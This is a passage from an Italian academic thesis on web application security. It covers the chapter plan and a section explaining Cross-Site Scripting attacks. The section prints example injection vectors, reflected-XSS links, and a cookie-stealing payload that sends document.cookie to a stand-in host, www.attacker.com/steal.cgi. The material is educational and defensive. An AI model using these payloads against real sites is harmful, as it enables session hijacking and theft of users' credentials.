12
Nel primo capitolo vengono definite le tecnologie di riferimento e l’architettura
multilivello che costituisce il fondamento delle web application. Particolare attenzione è
rivolta all’analisi delle piattaforme J2EE di Sun e .Net di Microsoft, protagoniste della
competizione per la leadership del segmento enterprise. Lo studio delle scelte
implementative adottate in ciascun ambiente viene integrato con un’analisi comparativa
per meglio evidenziare similitudini e differenze in tema di portabilità, interoperabilità e
sicurezza.
Nel secondo capitolo vengono illustrati i principi fondamentali della sicurezza
informatica, enfatizzando l’importanza di un sistema di difesa articolato su più livelli.
L’attenzione si concentra poi sulle minacce che interessano lo strato applicativo dello
stack TCP/IP, con l’obiettivo di definire una tassonomia degli attacchi basata sulla
natura del target. Il quadro così tracciato rappresenta una logica premessa per l’analisi
dei servizi di sicurezza e degli accorgimenti da implementare al fine di garantire
un’idonea mitigazione delle vulnerabilità.
Il terzo capitolo costituisce un approccio alla progettazione sicura che trae origine
dai limiti della politica commerciale “Penetrate and patch”. L’obiettivo è quello di
integrare i requisiti di sicurezza nel ciclo di sviluppo del software, specie per quanto
concerne le fasi di analisi dei requisiti e di progetto. Si discute in proposito un
promettente paradigma di programmazione in grado di isolare, facilitandone la gestione,
i concetti trasversali alla comune decomposizione ad oggetti di un problema.
Il quarto capitolo tratta un caso di studio relativo ad un’applicazione per l’Home
banking illustrando, attraverso l’analisi delle vulnerabilità e la successiva definizione di
un piano di intervento, l’intero procedimento per la mitigazione dei rischi.
Nel quinto e conclusivo capitolo vengono esposte alcune considerazioni sulle
problematiche analizzate in questo lavoro, con particolare riferimento alla maturità del
mercato rispetto agli approcci “White-box” e “Black-box”.
89
2.2 Minacce e vulnerabilità
L’accessibilità, la facilità d’utilizzo, la gestione centralizzata rappresentano alcuni dei
punti di forza che caratterizzano le Web application. Per contro l’utilizzo del protocollo
HTTP, non progettato per questo genere di applicativi, comporta numerosi problemi di
sicurezza e rende necessari particolari accorgimenti. Una semplice tassonomia
differenzia gli attacchi rivolti alla macchina dell’utente da quelli rivolti al sistema, ossia
all’infrastruttura lato server:
Fig2.7: Aree di rischio in una Web Application
2.2.1 Attacchi rivolti all’utente
Come regola generale, l’utilizzo puro e semplice dell’HTML 3.2 è da ritenersi
sufficientemente sicuro. I rischi lato client aumentano con l’impiego delle tecnologie
che garantiscono accesso ai contenuti dinamici: linguaggi di scripting, applet, controlli
ActiveX, plug-in, gestori di MIME-type. In un simile contesto il browser potrebbe
veicolare sul client programmi ed agenti maliziosi, in grado di raccogliere informazioni
sensibili da ritrasmettere sulla rete.
90
2.2.1.1 Cross-Site Scripting (XSS)
L’utilizzo di una web application e più in generale la visita di un sito web presuppone
un certo livello di fiducia da parte dell’utente: egli infatti ipotizza di non divenire
oggetto di azioni fraudolente né di violazioni all’integrità della propria macchina.
Tuttavia, le applicazioni che accettano dati in input e li utilizzano nella costruzione di
pagine dinamiche si rivelano sensibili ad un’ampia gamma di minacce, di cui spesso
cadono vittima gli stessi ignari utilizzatori. In tali situazioni infatti il contenuto delle
pagine non è generato in modo diretto ed esclusivo dagli sviluppatori del sito, ma trae
origine anche dai dati che gli utenti inviano al web server.
Il rischio emerge dalla possibilità di inviare al browser una pagina dinamica creata sulla
base di input proveniente da fonte inattendibile e contenente tag HTML potenzialmente
dannosi o codice eseguibile sotto forma di script. La maggior parte dei web browser è in
grado infatti di interpretare gli script inclusi nelle pagine scaricate e viene generalmente
installata con tale funzionalità attiva per default. Esistono in proposito due schemi di
attacco: una prima situazione riguarda i siti che ospitano gruppi di discussione basati su
interfaccia web, sistemi di messaggistica istantanea, forum, condivisione di contenuti ed
aste online. La minaccia è rappresentata dalla possibilità di pubblicare messaggi
contenenti codice dannoso e potenzialmente scaricabile da qualunque altro client.
Fig.2.8: Attacco XSS da client a client
91
L’attaccante potrebbe postare un messaggio del tipo:
Salve a tutta la lista.
<SCRIPT> codice malizioso </SCRIPT>
Fine del messaggio.
Il browser della vittima, dotato dei permessi di esecuzione degli script, effettuerà il
parsing della pagina ricevuta visualizzando il testo del messaggio ed al tempo stesso
ponendo in esecuzione lo script all’interno del contesto di sicurezza dell’utente. Va
sottolineato che i tag di scripting utilizzabili a questo scopo comprendono anche:
<OBJECT> : per l’introduzione di Javabean, controlli ActiveX, immagini
<APPLET> : per l’introduzione di applet Java
<EMBED> : per la visualizzazione del contenuto di un file processato da un plug-in
Un esempio significativo riguarda le Web application che permettono la condivisione di
contenuti multimediali. Alcune di queste consentono agli utenti di memorizzare sul
server animazioni in formato Flash, offrendone poi la visione tramite plug-in del
browser o lo scaricamento sul client. Macromedia Flash dispone di un linguaggio di
scripting built-in (ActionScript) caratterizzato da una sintassi molto simile a JavaScript.
Fra le sue caratteristiche esiste una funzionalità che permette di redirigere il browser
dell’utente.Un’animazione potrebbe utilizzare impropriamente questa funzione forzando
l’esecuzione sul client di codice JavaScript:
getURL(“javascript:alert(document.cookie)”)
In tal modo si può sottrarre il cookie appartenente al dominio che ospita la pagina
attraverso cui è possibile accedere all’animazione. E’ sufficiente creare un account
presso la comunità, caricare sul server un’animazione contenente codice malizioso ed
attendere che qualche utente ne visioni il contenuto. Una variante di questo attacco
sfrutta un’altra caratteristica comune a molte comunità, ovvero la possibilità di
personalizzare i profili utente tramite una “firma” in formato Flash:
<embed src="http://eyeonsecurity.net/download/example.swf"
pluginspage=”http://www.macromedia.com/download/index.cgi?P1ProdVer=ShockwaveFlash”
92
type="application/x-shockwave-flash" width="0" height="0">
</embed>
Editando le preferenze del proprio account, il tag <EMBED> consente di accludere a
ciascun messaggio postato in un forum l’animazione prescelta. Accedendo ad una
pagina che contiene la “firma” dell’attaccante questi entra in possesso del cookie
memorizzato sul browser della vittima.
Fig.2.9: Personalizzazione dell’account utente
Svariate applicazioni trascurano l’eventualità che un client inoltri inconsapevolmente
codice dannoso avente come unico bersaglio il client stesso. Questa eventualità si
manifesta qualora sussistano due condizioni:
a) L’utente si affida ad una sorgente di informazione non sicura per sottomettere una
richiesta al server.
b) Il server restituisce almeno in parte i parametri che figurano nella richiesta.
Fig.2.10: Attacco XSS da client a sé stesso
93
La figura precedente mostra il contesto di riferimento di questo attacco, più sofisticato e
diffuso rispetto al precedente. Gli scenari ad esso riconducibili sono molteplici, anche se
la situazione più comune prevede l’invio alla vittima di una pagina web o di una email
in formato HTML contenente un link del tipo:
<A HREF=http://example.com/test.cgi?search=<SCRIPT>codice malizioso </SCRIPT>> Clicca
qui</A>
Qualora l’utente decida di seguire il link la sua richiesta include anche il codice
dannoso: se la pagina restituita dal web server contiene il valore dell’attributo “search”
lo script verrà eseguito sul client senza alcun preavviso. Situazioni di questo tipo
interessano di frequente i motori di ricerca presenti nei siti web: si tratta infatti di servizi
che eseguono un echo-reply della stringa immessa dall’utente.
Il principio su cui è basato il XSS risiede nell’abuso della fiducia che l’utente ripone
verso il sito o l’applicazione affetta da vulnerabilità: si presuppone infatti che egli sia
sufficientemente interessato ad interagire con essa, tanto da seguire link suggeriti da
terze parti. In questo frangente le tecniche di social engineering possono facilitare il
compito dell’attaccante: è peraltro probabile che solo una minoranza di utenti si
insospettisca riguardo la natura o la lunghezza di un URL, specialmente quando la
prima parte dell’indirizzo richiama un dominio conosciuto mentre la parte restante viene
presentata in forma codificata. Limitatamente al linguaggio Javascript esistono
numerosi metodi [Flan00] per incorporare codice eseguibile nei documenti HTML:
• Tra una coppia di tag <SCRIPT> e </SCRIPT>.
• Da un file esterno specificato mediante gli attributi SRC o ARCHIVE di un tag
<SCRIPT>.
• In un gestore di eventi quale onClick od onMouseOver che funge da attributo di
un tag <IMG>:
<IMG SRC=”blah” onMouseOver=”[codice]”>
• All’interno dell’attributo SRC dei tag <IMG>, <BGSOUND> o <IFRAME>:
<IMG SRC=”javascript:[codice] ”>
<BGSOUND SRC=”javascript:[codice]”>
<IFRAME SRC=”javascript:[codice]”>
94
• All’interno dell’attributo DYNSRC dei tag <IMG> o <INPUT TYPE>:
<IMG DYNSRC=”javascript:[codice] ”>
<INPUT TYPE=”image” DYNSRC=”javascript:[codice]”>
• Come corpo di un URL che utilizza il protocollo javascript:.
• In un foglio di stile, tra i tag <STYLE TYPE=”text/javascipt”> e </STYLE>.
• Come entità Javascript, all’interno di un attributo HTML.
• In un commento condizionale che funge da testo di commento HTML a meno che
una particolare espressione Javascript non generi il valore true.
Come già sottolineato l’esistenza di una vulnerabilità di tipo XSS è subordinata alla
restituzione di uno o più parametri presenti nella richiesta che giunge ad una web
application. Una situazione analoga ma imputabile al settaggio del web server piuttosto
che all’applicazione in sé riguarda la richiesta di una pagina inesistente, rimossa o
referenziata in modo scorretto. Supponendo di inviare una richiesta del tipo:
http://www.example.com/filename.html
Il web server potrebbe restituire una pagina contenente il seguente messaggio di errore:
<HTML>
…
404 Pagina non esistente: filename.html
…
</HTML>
Dal momento che la stringa “filename.html” viene estratta dall’URL, nulla vieta di
creare link contenenti codice eseguibile al posto del nome di una pagina:
<A HREF=http://www.example.com/<SCRIPT>codice malizioso</SCRIPT>>Clicca qui</A>
Un altro interessante scenario riguarda i linguaggi di alto livello: se una porzione di
codice lato server (es: servlet, JSP, ASP) non gestisce in maniera corretta gli errori
consentendo la restituzione al client dello stack trace, un attaccante potrebbe costruire
un URL in grado di sollevare un’eccezione aggiungendo in coda il proprio codice:
<A HREF=http://www.example.com/test?URL_solleva_eccezione<SCRIPT>codice
malizioso</SCRIPT>>
95
In modo analogo occorre prestare attenzione a tutte le normali funzioni di output, fra cui
si annoverano:
• C/C++: chiamate alla printf(), fprintf()
• ASP: chiamate a Response.Write() e Response.BinaryWrite() che contengono
variabili utente. Visualizzazione delle variabili mediante la sintassi
<%=variabile>%>
• Perl: chiamate alla print(), printf(), syswrite(), write() che contengono variabili
contenenti dati forniti dall’utente
• PHP: chiamate alla print(), printf() ed echo()
Il numero di attacchi di tipo Cross Site Scripting è in costante crescita: con riferimento
ai primi sei mesi dell’anno 2002 gli archivi di Bugtraq [Bugt02] hanno ospitato un
numero impressionante di thread riguardanti la scoperta di vulnerabilità XSS nelle più
diffuse web application. Gli scopi che sottendono un attacco di tipo XSS sono
molteplici: l’esecuzione di codice Javascript, VBScript, ActiveX, HTML o Flash
generalmente è mirata ad ingannare la vittima (false advertising, modifica delle
impostazioni utente), a carpire informazioni a suo danno (account hijacking, cookie
theft/poisoning) od a sfruttare la sua macchina per accedere ad altri sistemi. Il cuore del
problema è rappresentato dal fatto che gli script vengono eseguiti in un contesto
apparentemente originato dal server e ciò, in taluni casi, legittima un pieno accesso al
contenuto che questi invia al client.
Il framework concettuale entro cui il browser visualizza i documenti viene definito
Document Object Model: esso permette a qualunque script di modificare il contenuto
dinamico delle pagine ricevute e normalmente viene implementato secondo un modello
di sicurezza che previene azioni dannose. Un esempio significativo riguarda la gestione
dei cookie: ciascuno di essi è accessibile soltanto al web server lo ha generato e
memorizzato sul client. Inducendo però il browser ad eseguire porzioni di codice con gli
stessi permessi dell’applicazione web un attaccante può bypassare le restrizioni di
sicurezza imposte dal DOM e carpire il contenuto del cookie. La conseguenza è
immediata: sfruttando la vulnerabilità di una web application a cui una certa vittima si è
autenticata, lo script potrebbe inviare all’attaccante il session token scambiato col
server. A questo punto l’attaccante potrebbe eseguire svariate azioni impersonando
l’identità della vittima, con l’innegabile vantaggio di essersi risparmiato gli sforzi
96
relativi al cracking dello username e della password utente. Seguendo lo stesso principio
egli può ottenere il pieno controllo del browser e, sfruttandone eventuali vulnerabilità,
può accedere al sottostante sistema operativo. In ambiente Windows ad esempio la
presenza di componenti COM erroneamente identificati come sicuri è sufficiente
affinché lo script ne possa prendere il controllo invocando una qualunque azione ad essi
consentita. L’interazione col Document Object Model dipende anche dalle
caratteristiche di sicurezza del linguaggio di scripting scelto dall’attaccante: le applet
Java ad esempio non offrirebbero alcun accesso al DOM.
La comunità dedita alla sicurezza ha ampiamente documentato le vulnerabilità XSS di
siti quali eBay, Excite, nonché di molte Web application: gli studi dimostrano come gli
sforzi degli attaccanti si concentrino sul furto dei token di sessione. Fra gli obiettivi a
maggior rischio i servizi che fanno uso di un sistema centralizzato di autenticazione:
l’esempio più noto riguarda la comunità MSN costruita sulla piattaforma .NET.
Microsoft gestisce l’autenticazione mediante la tecnologia “Passport”, in grado di
conservare la validità della sessione utente durante la navigazione di siti che adottano il
medesimo standard. Lo scambio delle credenziali in corrispondenza al caricamento di
una nuova pagina viene sostituito dalla trasmissione del token di sessione:
un’appropriazione indebita assicura quindi la fruizione di molteplici servizi.
Uno dei punti in cui si concentrano gli attacchi è il servizio di Webmail: l’utilizzo
dell’interfaccia Hotmail per la lettura dei messaggi può esporre le credenziali
dell’utente. Se questi decide di seguire un link contenuto nella propria posta ed
indirizzato ad un sito MSN, Passport opera lo scambio del session token: la presenza
all’interno del sito di una pagina ASP in grado di restituire l’input utente equivale alla
possibilità di sottrarre le sue credenziali.
Più in generale, assumendo che la pagina “index.html” dell’applicazione target
restituisca il contenuto del parametro HTTP “CodeID” e che la vittima sia
correntemente autenticata (1), l’attacco si svolge secondo il protocollo di figura.
97
2 3
1
5
4
Fig.2.11: Sottrazione di cookie attraverso vulnerabilità XSS
La struttura della pagina HTML inviata alla vittima (2) sarà del tipo:
<HTML>
…
<A
HREF=”http://www.example.com/index.cgi?codeID=<SCRIPT>document.location.replace(‘http:/
/www.attacker.com/steal.cgi?’+document.cookie);</SCRIPT>”>Leggi questa storia!</A>
…
</HTML>
In tal modo il codice Javascript redirige il browser della vittima (3) allo script CGI
collocato sul sito dell’attaccante e gli spedisce come argomento il cookie relativo al sito
www.example.com. Lo scopo è quello di consentire allo script CGI il parsing del cookie
e la cattura del session token.
Web application
Attacco propagato via
email o web page
Web application user
Script CGI ospitato sul
server dell’attaccante
Ricevi informazioni sui nostri servizi, sulle offerte e non perdere news e consigli su università e lavoro.
